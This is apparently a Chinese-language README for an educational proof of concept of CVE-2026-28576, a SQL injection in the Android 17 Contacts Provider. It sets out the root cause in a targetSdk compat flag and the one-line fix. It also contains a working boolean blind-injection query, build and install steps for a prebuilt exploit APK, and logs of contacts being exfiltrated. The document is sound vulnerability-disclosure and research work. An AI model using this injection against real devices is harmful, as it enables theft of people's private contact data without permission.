教育性概念验证,演示 Android 17 的 Contacts Provider 中存在的 SQL 注入漏洞,该漏洞允许零权限应用通过单联系人 URI 授权窃取整个联系人数据库。
选中一个联系人,泄露全部联系人:一个 targetSdk 兼容性开关将单联系人选择器授权变成完整的通讯录数据库泄露。
Android 17 通过 setStrictColumns() / setStrictGrammar() 强化了通讯录提供程序以抵御 SQL 注入——但该强化措施被置于一个受 targetSdk 限制的兼容性变更之后(ENFORCE_STRICT_SQL_CHECKS,id 484953293,enableAfterTargetSdk="36")。任何以 SDK 36 或更低版本为目标的应用都会静默跳过严格检查,并可在查询 selection 中隐藏布尔盲注子查询,通过单联系人 URI 授权读取整个通讯录数据库。无需 READ_CONTACTS,完全无需任何权限。
注意: 此漏洞并非由我们发现。本仓库包含我们独立的分析、复现和教育性 PoC,旨在帮助安全社区理解此类漏洞:安全修复被置于
@EnabledAfter(targetSdkVersion)之后,导致所有面向旧版本 target 的应用仍停留在易受攻击的路径上。
| CVE | CVE-2026-28576(GHSA-ph86-9mcx-3p6r) |
| 严重性 | 公告中为高危;GitHub 公告评分为 CVSS v4 10.0(严重)——考虑到前置条件,此评分存在争议 |
| 组件 | 通讯录提供程序(ContactsProvider2.queryLocal()) |
| 根本原因 | ENFORCE_STRICT_SQL_CHECKS 兼容性变更被置于 @EnabledAfter(BAKLAVA) 之后 |
| 影响 | 任何拥有单联系人 URI 授权的应用无需 READ_CONTACTS 即可读取整个通讯录数据库 |
| 受影响版本 | Android 17,安全补丁级别 < 2026-07-01 |
| 已修复版本 | Android 17 安全公告 |
包含截图和演示视频的完整分析文章: SQL 注入即使在 Android 中依然存在:选中一个联系人,泄露全部联系人(CVE-2026-28576)
├── poc/ # PoC 漏洞利用应用(UI + 系统联系人选择器)
│ ├── src/ # MainActivity.java — 选择器 + 布尔盲注漏洞利用
│ ├── AndroidManifest.xml # 零权限,targetSdk 36
│ └── build.sh # 无需 gradle 构建:aapt2 + javac + d8 + apksigner
├── cve-2026-28576-poc.apk # 预构建 PoC APK(debug 签名,可直接安装)
├── REPRODUCE.md # 完整的分步复现指南
├── evidence-*.log # 捕获的易受攻击 / 已修复运行日志
└── README.md
你需要一个安全补丁级别在 2026-07-01 之前的 Android 17 模拟器
(我们使用了 AVD A17-Userdebug,sdk_gphone16k_arm64-userdebug 17 CP31.260623.012,
SPL 2026-07-05——一个仍携带易受攻击兼容性开关的测试版镜像)。
emulator -avd A17-Userdebug -writable-system -no-snapshot &
# 验证补丁级别为修复前版本
adb shell getprop ro.build.version.security_patch
# 插入几个受害者联系人(以 shell 身份执行,shell 拥有通讯录权限)
adb shell "content insert --uri content://com.android.contacts/raw_contacts \
--bind account_name:s:[email protected] --bind account_type:s:com.google"
adb shell "content insert --uri content://com.android.contacts/data \
--bind raw_contact_id:i:1 --bind mimetype:s:vnd.android.cursor.item/name \
--bind data1:s:'Alice Victim'"
完整的联系人种子数据及两种运行变体请参阅 REPRODUCE.md。
adb install cve-2026-28576-poc.apk
adb shell am start -n com.poc.cve202628576/.MainActivity
屏幕操作:
checkUriPermission -> 0)以及它被合法允许查看的那一个联系人。需要 Android SDK(build-tools 36.0.0,platform android-37.0)和 JDK 17。无需 gradle:
./poc/build.sh # -> poc/build/cve-2026-28576-poc.apk (targetSdk 36,无权限)
授权层工作正常。 Android 17 的联系人选择器向应用授予恰好一个联系人的只读 URI 授权:content://com.android.contacts/contacts/lookup/<key>/1。直接查询任何其他内容都会被拒绝并抛出 SecurityException。
SQL 层则不然。 由于 PoC 以 SDK 36 为目标,CompatChanges.isChangeEnabled(ENFORCE_STRICT_SQL_CHECKS, callingUid) 返回 false,提供程序跳过 setStrictColumns() / setStrictGrammar()。始终开启的 setStrict(true) 括号包裹只能阻止 ') OR 1=1 -- 之类的子句逃逸;对平衡子查询毫无作用。
布尔盲注注入。 应用对其获得的 URI 发起一个看似普通的查询,并在 selection 中隐藏子查询:
contentResolver.query(grantedUri, new String[]{"_id"},
"1 AND (SELECT substr(data1,3,1) FROM data"
+ " WHERE mimetype_id=(SELECT _id FROM mimetypes"
+ " WHERE mimetype='vnd.android.cursor.item/phone_v2')"
+ " ORDER BY _id LIMIT 1 OFFSET 0)='5'", null, null);
如果猜测的字符匹配,授权行会返回(cursor.getCount() == 1);否则游标为空。每个字符猜测一次查询,对每一行和 mimetype 迭代 ——一个电话号码不到一秒即可获取,整个数据库远不到一分钟。
在易受攻击的 Android 17 构建上,零权限应用通过单联系人授权窃取所有姓名、电话号码和电子邮件(参见 evidence-picker-run.log):
What I am ALLOWED to see: Alice Victim (one contact)
VULNERABLE: subquery accepted, dumping contacts DB
EXFILTRATED name #1..3: Alice Victim · Bob Manager · Carol Doctor
EXFILTRATED phone #1..3: +1-555-SECRET-01 · +1-555-777-0002 · +1-555-999-0003
EXFILTRATED email #1..3: [email protected] · ...
修复方案将变更 484953293 改为适用于所有调用者,无论其 targetSdk 如何——仅删除一个注解(公开变体:GrapheneOS 提交 c4129a1c):
@ChangeId
- @EnabledAfter(targetSdkVersion = Build.VERSION_CODES.BAKLAVA)
public static final long ENFORCE_STRICT_SQL_CHECKS = 484953293L;
你可以在易受攻击的构建上无需刷机即可复现精确的已修复行为:
adb shell am compat enable 484953293 com.poc.cve202628576
# 相同的查询现在在到达 SQLite 之前就会失败:
# IllegalArgumentException: Invalid token SELECT
参见 evidence-patched-run.log。
分析与 PoC 由 Mobile Hacking Lab 完成。我们出于教育目的独立复现了此漏洞。
此概念验证仅用于教育和授权的安全研究目的。请仅在您拥有或获得明确测试许可的设备与环境中使用。作者对任何滥用行为不承担责任。
LIMIT 1 OFFSET k